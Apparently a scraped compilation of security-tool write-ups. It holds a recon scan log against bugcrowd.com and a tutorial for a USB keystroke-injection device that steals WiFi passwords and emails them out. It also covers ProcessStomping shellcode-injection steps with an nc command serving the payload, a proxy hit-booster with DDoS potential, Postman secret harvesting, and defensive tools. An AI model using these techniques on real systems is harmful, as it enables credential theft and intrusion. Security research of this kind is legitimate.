░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║░░░░░██║░░██║░░ ██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░░ ░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
                                                      [●] @h4r5h1t.hrs | G!2m0


[❌] Warning: Use with caution. You are responsible for your own actions.
[❌] Developers assume no liability and are not responsible for any misuse or damage cause by this tool.


Target:  bugcrowd.com
Output:  /home/gizmo/targets/bugcrowd
Threads: 100
Server:  False
Exclude: False
Mode:    Running all Enumeration
Time:    30-08-2021 15:10:00

[!] Please wait while scanning...

[●] Subdoamin Scanning is in progress: Scanning subdomains of bugcrowd.com
[●] Subdoamin Scanned  -  [assetfinder✔]                 Subdomain Found: 34
[●] Subdoamin Scanned  -  [sublist3r✔]                      Subdomain Found: 29
[●] Subdoamin Scanned  -  [subfinder✔]                   Subdomain Found: 54
[●] Subdoamin Scanned  -  [amass✔]                       Subdomain Found: 43
[●] Subdoamin Scanned  -  [findomain✔]                   Subdomain Found: 27

[●] Active Subdoamin Scanning is in progress:
[!] Please be patient. This may take a while...
[●] Active Subdoamin Scanned  -  [gobuster✔]             Subdomain Found: 11
[●] Active Subdoamin Scanned  -  [amass✔]                Subdomain Found: 0

[●] Subdomain Scanning: Filtering out of scope subdomains
[●] Subdomain Scanning: Filtering Alive subdomains
[●] Subdomain Scanning: Getting titles of valid subdomains
[●] Visual inspection of Subdoamins is completed.        Check: /subdomains/aquatone/

[●] Scanning Completed for Subdomains of bugcrowd.com    Total: 43 |    Alive: 30

[●] Endpoints Scanning Completed for Subdomains of bugcrowd.com  Total: 11032
[●] Vulnerabilities Scanning is in progress: Getting all vulnerabilities of bugcrowd.com
[●] Vulnerabilities Scanned  -  [XSS✔]                   Found: 0
[●] Vulnerabilities Scanned  -  [SQLi✔]                  Found: 0
[●] Vulnerabilities Scanned  -  [LFI✔]                   Found: 0
[●] Vulnerabilities Scanned  -  [CRLF✔]                  Found: 0
[●] Vulnerabilities Scanned  -  [SSRF✔]                  Found: 0
[●] Vulnerabilities Scanned  -  [Sensitive Data✔]        Found: 0
[●] Vulnerabilities Scanned  -  [Open redirect✔]         Found: 0
[●] Vulnerabilities Scanned  -  [Subdomain Takeover✔]    Found: 0
[●] Vulnerabilities Scanned  -  [Nuclie✔]                Found: 0
[●] Vulnerabilities Scanning Completed    for Subdomains of bugcrowd.com    Check: /vulnerabilities/


▒█▀▀█ █▀▀ █▀▀ █░░█ █░░ ▀▀█▀▀
▒█▄▄▀ █▀▀ ▀▀█ █░░█ █░░ ░░█░░
▒█░▒█ ▀▀▀ ▀▀▀ ░▀▀▀ ▀▀▀ ░░▀░░

[+] Subdomains of bugcrowd.com
[+] Subdomains Found: 0
[+] Subdomains Alive: 0
[+] Endpoints: 11032
[+] XSS: 0
[+] SQLi: 0
[+] Open Redirect: 0
[+] SSRF: 0
[+] CRLF: 0
[+] LFI: 0
[+] Sensitive Data: 0
[+] Subdomain Takeover: 0
[+] Nuclei: 0

Acknowledgement

WebCopilot is inspired from Garud & Pinaak by ROX4R.

Thanks to the authors of the tools & wordlists used in this script.

@aboul3la @tomnomnom @lc @hahwul @projectdiscovery @maurosoria @shelld3v @devanshbatham @michenriksen @defparam @projectdiscovery @bp0lr @ameenmaali @sqlmapproject @dwisiswant0 @OWASP @OJ @Findomain @danielmiessler @1ndianl33t @ROX4R

PhantomCrawler - Boost Website Hits By Generating Requests From Multiple Proxy IPs

PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.

Features:

• Utilizes a list of proxy IP addresses from a specified file.
• Supports both HTTP and HTTPS proxies.
• Allows users to input the target website URL, proxy file path, and a static port.
• Makes HTTP requests to the specified website using each proxy.
• Parses HTML content to extract and visit links on the webpage.

Usage:

• POC Testing: Simulate website interactions to assess functionality under different proxy setups.
• Web Traffic Increase: Boost website hits by generating requests from multiple proxy IPs.
• Proxy Rotation Testing: Evaluate the effectiveness of rotating proxy IPs.
• Web Scraping Testing: Assess web scraping tasks under different proxy configurations.
• DDoS Awareness: Caution: The tool has the potential for misuse as a DDoS tool. Ensure responsible and ethical use.

• You can add it from here: https://free-proxy-list.net/ these free proxies are not validated some might not work so first validate these proxies before adding.

How to Use:

1. Clone the repository:

git clone https://github.com/spyboy-productions/PhantomCrawler.git

3. Install dependencies:

pip3 install -r requirements.txt

5. Run the script:

python3 PhantomCrawler.py

Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.

Snapshots:

If you find this GitHub repo useful, please consider giving it a star! 

WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

Disclaimer: All content in this project is intended for security research purpose only.

Introduction

During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

Setup

After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

Prerequisites

• Physical access to victim's computer.

• Unlocked victim's computer.

• Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

• Knowledge of victim's computer password for the Linux exploit.

Requirements - What you'll need

• Raspberry Pi Pico (RPi Pico)
• Micro USB to USB Cable
• Jumper Wire (optional)
• pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
• USB flash drive (for the exploit over physical medium only)

Note:

• It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

• However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

• In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

Keystroke injection tool

Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

Keystroke injection

The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

Delays

We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

• Exfiltration over the network medium.

• This approach was used for the Windows exploit. The whole payload can be seen here.

• Exfiltration over a physical medium.

• This approach was used for the Linux exploit. The whole payload can be seen here.

Windows exploit

In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

Sending stolen data over email

Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

 Note:

• After sending data over the email, the .txt file is deleted.

• You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

• Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

Linux exploit

In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

Storing stolen data to USB flash drive

Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

Bash script

In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

where PASSWORD is your account's password and USBSTICK is the name for your USB device.

Quick overview of the payload

NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

For more information about NetworkManager here is some useful links:

• Manually creating NetworkManager profiles in keyfile format
• Description of keyfile settings plugin

Exfiltrated data formatting

Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

USB Mass Storage Device Problem

One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

 Tip:

• Upload your payload to RPi Pico before you connect the pins.
• Don't solder the pins because you will probably want to change/update the payload at some point.

Payload Writer

When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

python3 writer.py windows payload1.dd

Limitations/Drawbacks

• This pico-ducky currently works only on Windows OS.

• This attack requires physical access to an unlocked device in order to be successfully deployed.

• The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

• Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

• Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

• The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

• Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

• If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

• If the computer has a non-English Environment set, this exploit won't be successful.

• Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

To-Do List

• Fix Caps Lock bug.
• Fix non-English Environment bug.
• Obfuscate the command prompt.
• Implement exfiltration over a physical medium.
• Create a payload for Linux.
• Encode/Encrypt exfiltrated data before sending it over email.
• Implement indicator of successfully completed exploit.
• Implement command history clean-up for Linux exploit.
• Enhance the Linux exploit in order to avoid usage of sudo.

Pantheon - Insecure Camera Parser

Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.

Functionalities

Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.

Installation

1. git clone https://github.com/josh0xA/Pantheon.git
2. cd Pantheon
3. pip3 install -r requirements.txt
   Execution: python3 pantheon.py

• Note: I will later add a GUI installer to make it fully indepenent of a CLI

Windows

• You can just follow the steps above or download the official package here.
• Note, the PE binary of Pantheon was put together using pyinstaller, so Windows Defender might get a bit upset.

Ubuntu

• First, complete steps 1, 2 and 3 listed above.
  
• chmod +x distros/ubuntu_install.sh
• ./distros/ubuntu_install.sh

Debian and Kali Linux

• First, complete steps 1, 2 and 3 listed above.
  
• chmod +x distros/debian-kali_install.sh
• ./distros/debian-kali_install.sh

MacOS

• The regular installation steps above should suffice. If not, open up an issue.

Usage

(Enter) on a selected IP:Port to establish a Pantheon webview of the camera. (Use this at your own risk)

(Left-click) on a selected IP:Port to view the geolocation of the camera.
(Right-click) on a selected IP:Port to view the HTTP data of the camera (Ctrl+Left-click for Mac).

Adjust the map as you please to see the markers.

• Also note that this app is far from perfect and not every link that shows up is a live-feed, some are login pages (Do NOT attempt to login).
  

Ethical Notice

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk. Pantheon was developed for educational purposes only. For further information, please visit: https://joshschiavone.com/panth_info/panth_ethical_notice.html

Licence

MIT License
Copyright (c) Josh Schiavone

ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section

A variation of ProcessOverwriting to execute shellcode on an executable's section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
4. ResumeThread - self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.

Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.

PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

The tool was published as part of a research about Docker named pipes:
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

Overview

PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.

Usage

Double-click the EXE binary and you will get the list of all named pipes.

Build

We used Visual Studio to compile it.
When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

Warning

We built the project and uploaded it so you can find it in the releases.
One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
Note that James Forshaw talked about it here.
We can't change it because we depend on third-party DLL.

Features

• A detailed overview of named pipes.
• Filter\highlight rows based on cells.
• Bold specific rows.
• Export\Import to\from JSON.
• PipeChat - create a connection with available named pipes.

Demo

Credit

We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

License

Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
This repository is licensed under Apache-2.0 License - see LICENSE for more details.

References

For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.

APIDetector - Efficiently Scan For Exposed Swagger Endpoints Across Web Domains And Subdomains

APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning.

Features

• Flexible Input: Accepts a single domain or a list of subdomains from a file.
• Multiple Protocols: Option to test endpoints over both HTTP and HTTPS.
• Concurrency: Utilizes multi-threading for faster scanning.
• Customizable Output: Save results to a file or print to stdout.
• Verbose and Quiet Modes: Default verbose mode for detailed logs, with an option for quiet mode.
• Custom User-Agent: Ability to specify a custom User-Agent for requests.
• Smart Detection of False-Positives: Ability to detect most false-positives.

Getting Started

Prerequisites

Before running APIDetector, ensure you have Python 3.x and pip installed on your system. You can download Python here.

Installation

Clone the APIDetector repository to your local machine using:

git clone https://github.com/brinhosa/apidetector.git
cd apidetector
pip install requests 

Usage

Run APIDetector using the command line. Here are some usage examples:

• Common usage, scan with 30 threads a list of subdomains using a Chrome user-agent and save the results in a file:

  python apidetector.py -i list_of_company_subdomains.txt -o results_file.txt -t 30 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"

• To scan a single domain:

  python apidetector.py -d example.com

• To scan multiple domains from a file:

  python apidetector.py -i input_file.txt

• To specify an output file:

  python apidetector.py -i input_file.txt -o output_file.txt

• To use a specific number of threads:

  python apidetector.py -i input_file.txt -t 20

• To scan with both HTTP and HTTPS protocols:

  python apidetector.py -m -d example.com

• To run the script in quiet mode (suppress verbose output):

  python apidetector.py -q -d example.com

• To run the script with a custom user-agent:

  python apidetector.py -d example.com -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"

Options

• -d, --domain: Single domain to test.
• -i, --input: Input file containing subdomains to test.
• -o, --output: Output file to write valid URLs to.
• -t, --threads: Number of threads to use for scanning (default is 10).
• -m, --mixed-mode: Test both HTTP and HTTPS protocols.
• -q, --quiet: Disable verbose output (default mode is verbose).
• -ua, --user-agent: Custom User-Agent string for requests.

RISK DETAILS OF EACH ENDPOINT APIDETECTOR FINDS

Exposing Swagger or OpenAPI documentation endpoints can present various risks, primarily related to information disclosure. Here's an ordered list based on potential risk levels, with similar endpoints grouped together APIDetector scans:

1. High-Risk Endpoints (Direct API Documentation):

• Endpoints:
  • '/swagger-ui.html', '/swagger-ui/', '/swagger-ui/index.html', '/api/swagger-ui.html', '/documentation/swagger-ui.html', '/swagger/index.html', '/api/docs', '/docs', '/api/swagger-ui', '/documentation/swagger-ui'
• Risk:
  • These endpoints typically serve the Swagger UI interface, which provides a complete overview of all API endpoints, including request formats, query parameters, and sometimes even example requests and responses.
  • Risk Level: High. Exposing these gives potential attackers detailed insights into your API structure and potential attack vectors.

2. Medium-High Risk Endpoints (API Schema/Specification):

• Endpoints:
  • '/openapi.json', '/swagger.json', '/api/swagger.json', '/swagger.yaml', '/swagger.yml', '/api/swagger.yaml', '/api/swagger.yml', '/api.json', '/api.yaml', '/api.yml', '/documentation/swagger.json', '/documentation/swagger.yaml', '/documentation/swagger.yml'
• Risk:
  • These endpoints provide raw Swagger/OpenAPI specification files. They contain detailed information about the API endpoints, including paths, parameters, and sometimes authentication methods.
  • Risk Level: Medium-High. While they require more interpretation than the UI interfaces, they still reveal extensive information about the API.

3. Medium Risk Endpoints (API Documentation Versions):

• Endpoints:
  • '/v2/api-docs', '/v3/api-docs', '/api/v2/swagger.json', '/api/v3/swagger.json', '/api/v1/documentation', '/api/v2/documentation', '/api/v3/documentation', '/api/v1/api-docs', '/api/v2/api-docs', '/api/v3/api-docs', '/swagger/v2/api-docs', '/swagger/v3/api-docs', '/swagger-ui.html/v2/api-docs', '/swagger-ui.html/v3/api-docs', '/api/swagger/v2/api-docs', '/api/swagger/v3/api-docs'
• Risk:
  • These endpoints often refer to version-specific documentation or API descriptions. They reveal information about the API's structure and capabilities, which could aid an attacker in understanding the API's functionality and potential weaknesses.
  • Risk Level: Medium. These might not be as detailed as the complete documentation or schema files, but they still provide useful information for attackers.

4. Lower Risk Endpoints (Configuration and Resources):

• Endpoints:
  • '/swagger-resources', '/swagger-resources/configuration/ui', '/swagger-resources/configuration/security', '/api/swagger-resources', '/api.html'
• Risk:
  • These endpoints often provide auxiliary information, configuration details, or resources related to the API documentation setup.
  • Risk Level: Lower. They may not directly reveal API endpoint details but can give insights into the configuration and setup of the API documentation.

Summary:

• Highest Risk: Directly exposing interactive API documentation interfaces.
• Medium-High Risk: Exposing raw API schema/specification files.
• Medium Risk: Version-specific API documentation.
• Lower Risk: Configuration and resource files for API documentation.

Recommendations:

• Access Control: Ensure that these endpoints are not publicly accessible or are at least protected by authentication mechanisms.
• Environment-Specific Exposure: Consider exposing detailed API documentation only in development or staging environments, not in production.
• Monitoring and Logging: Monitor access to these endpoints and set up alerts for unusual access patterns.

Contributing

Contributions to APIDetector are welcome! Feel free to fork the repository, make changes, and submit pull requests.

Legal Disclaimer

The use of APIDetector should be limited to testing and educational purposes only. The developers of APIDetector assume no liability and are not responsible for any misuse or damage caused by this tool. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no responsibility for unauthorized or illegal use of this tool. Before using APIDetector, ensure you have permission to test the network or systems you intend to scan.

License

This project is licensed under the MIT License.

Acknowledgments

• Thanks to all the contributors who have helped with testing, suggestions, and improvements.
• Author: Rafael B. Brinhosa - https://www.linkedin.com/in/brinhosa/

Py-Amsi - Scan Strings Or Files For Malware Using The Windows Antimalware Scan Interface

py-amsi is a library that scans strings or files for malware using the Windows Antimalware Scan Interface (AMSI) API. AMSI is an interface native to Windows that allows applications to ask the antivirus installed on the system to analyse a file/string. AMSI is not tied to Windows Defender. Antivirus providers implement the AMSI interface to receive calls from applications. This library takes advantage of the API to make antivirus scans in python. Read more about the Windows AMSI API here.

Installation

• Via pip

  pip install pyamsi
  

• Clone repository

  git clone https://github.com/Tomiwa-Ot/py-amsi.git
  cd py-amsi/
  python setup.py install

Usage

from pyamsi import Amsi

# Scan a file
Amsi.scan_file(file_path, debug=True) # debug is optional and False by default

# Scan string
Amsi.scan_string(string, string_name, debug=False) # debug is optional and False by default

# Both functions return a dictionary of the format
# {
#     'Sample Size' : 68,         // The string/file size in bytes
#     'Risk Level' : 0,           // The risk level as suggested by the antivirus
#     'Message' : 'File is clean' // Response message
# }

Docs

https://tomiwa-ot.github.io/py-amsi/index.html

Porch-Pirate - The Most Comprehensive Postman Recon / OSINT Client And Framework That Facilitates The Automated Discovery And Exploitation Of API Endpoints And Secrets Committed To Workspaces, Collections, Requests, Users And Teams

Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.

Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:

• Workspaces
• Collections
• Requests
• Users
• Teams

Installation

python3 -m pip install porch-pirate

Using the client

The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.

Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.

• --globals
• --collections
• --requests
• --urls
• --dump
• --raw
• --curl

Simple Search

porch-pirate -s "coca-cola.com"

Get Workspace Globals

By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8

Dump Workspace

When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump

Automatic Search and Globals Extraction

Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.

porch-pirate -s "shopify" --globals

Automatic Search Dump

Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.

porch-pirate -s "coca-cola.com" --dump

Extract URLs from Workspace

A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls

Automatic URL Extraction

Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.

porch-pirate -s "coca-cola.com" --urls

Show Collections in a Workspace

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections

Show Workspace Requests

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests

Show raw JSON

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw

Show Entity Information

porch-pirate -w WORKSPACE_ID

porch-pirate -c COLLECTION_ID

porch-pirate -r REQUEST_ID

porch-pirate -u USERNAME/TEAMNAME

Convert Request to Curl

Porch Pirate can build curl requests when provided with a request ID for easier testing.

porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl

Use a proxy

porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080

Using as a library

Searching

p = porchpirate()
print(p.search('coca-cola.com'))

Get Workspace Collections

p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Dumping a Workspace

p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']: 
    requests = collection['requests']
    for r in requests:
        request_data = p.request(r['id'])
        print(request_data)

Grabbing a Workspace's Globals

p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Other Examples

Other library usage examples can be located in the examples directory, which contains the following examples:

• dump_workspace.py
• format_search_results.py
• format_workspace_collections.py
• format_workspace_globals.py
• get_collection.py
• get_collections.py
• get_profile.py
• get_request.py
• get_statistics.py
• get_team.py
• get_user.py
• get_workspace.py
• recursive_globals_from_search.py
• request_to_curl.py
• search.py
• search_by_page.py
• workspace_collections.py

SecuSphere - Efficient DevSecOps

SecuSphere is a comprehensive DevSecOps platform designed to streamline and enhance your organization's security posture throughout the software development life cycle. Our platform serves as a centralized hub for vulnerability management, security assessments, CI/CD pipeline integration, and fostering DevSecOps practices and culture.

Centralized Vulnerability Management

At the heart of SecuSphere is a powerful vulnerability management system. Our platform collects, processes, and prioritizes vulnerabilities, integrating with a wide array of vulnerability scanners and security testing tools. Risk-based prioritization and automated assignment of vulnerabilities streamline the remediation process, ensuring that your teams tackle the most critical issues first. Additionally, our platform offers robust dashboards and reporting capabilities, allowing you to track and monitor vulnerability status in real-time.

Seamless CI/CD Pipeline Integration

SecuSphere integrates seamlessly with your existing CI/CD pipelines, providing real-time security feedback throughout your development process. Our platform enables automated triggering of security scans and assessments at various stages of your pipeline. Furthermore, SecuSphere enforces security gates to prevent vulnerable code from progressing to production, ensuring that security is built into your applications from the ground up. This continuous feedback loop empowers developers to identify and fix vulnerabilities early in the development cycle.

Comprehensive Security Assessment

SecuSphere offers a robust framework for consuming and analyzing security assessment reports from various CI/CD pipeline stages. Our platform automates the aggregation, normalization, and correlation of security findings, providing a holistic view of your application's security landscape. Intelligent deduplication and false-positive elimination reduce noise in the vulnerability data, ensuring that your teams focus on real threats. Furthermore, SecuSphere integrates with ticketing systems to facilitate the creation and management of remediation tasks.

Cultivating DevSecOps Practices

SecuSphere goes beyond tools and technology to help you drive and accelerate the adoption of DevSecOps principles and practices within your organization. Our platform provides security training and awareness for developers, security, and operations teams, helping to embed security within your development and operations processes. SecuSphere aids in establishing secure coding guidelines and best practices and fosters collaboration and communication between security, development, and operations teams. With SecuSphere, you'll create a culture of shared responsibility for security, enabling you to build more secure, reliable software.

Embrace the power of integrated DevSecOps with SecuSphere – secure your software development, from code to cloud.

 Features

• Vulnerability Management: Collect, process, prioritize, and remediate vulnerabilities from a centralized platform, integrating with various vulnerability scanners and security testing tools.
• CI/CD Pipeline Integration: Provide real-time security feedback with seamless CI/CD pipeline integration, including automated security scans, security gates, and a continuous feedback loop for developers.
• Security Assessment: Analyze security assessment reports from various CI/CD pipeline stages with automated aggregation, normalization, correlation of security findings, and intelligent deduplication.
• DevSecOps Practices: Drive and accelerate the adoption of DevSecOps principles and practices within your team. Benefit from our security training, secure coding guidelines, and collaboration tools.

Dashboard and Reporting

SecuSphere offers built-in dashboards and reporting capabilities that allow you to easily track and monitor the status of vulnerabilities. With our risk-based prioritization and automated assignment features, vulnerabilities are efficiently managed and sent to the relevant teams for remediation.

API and Web Console

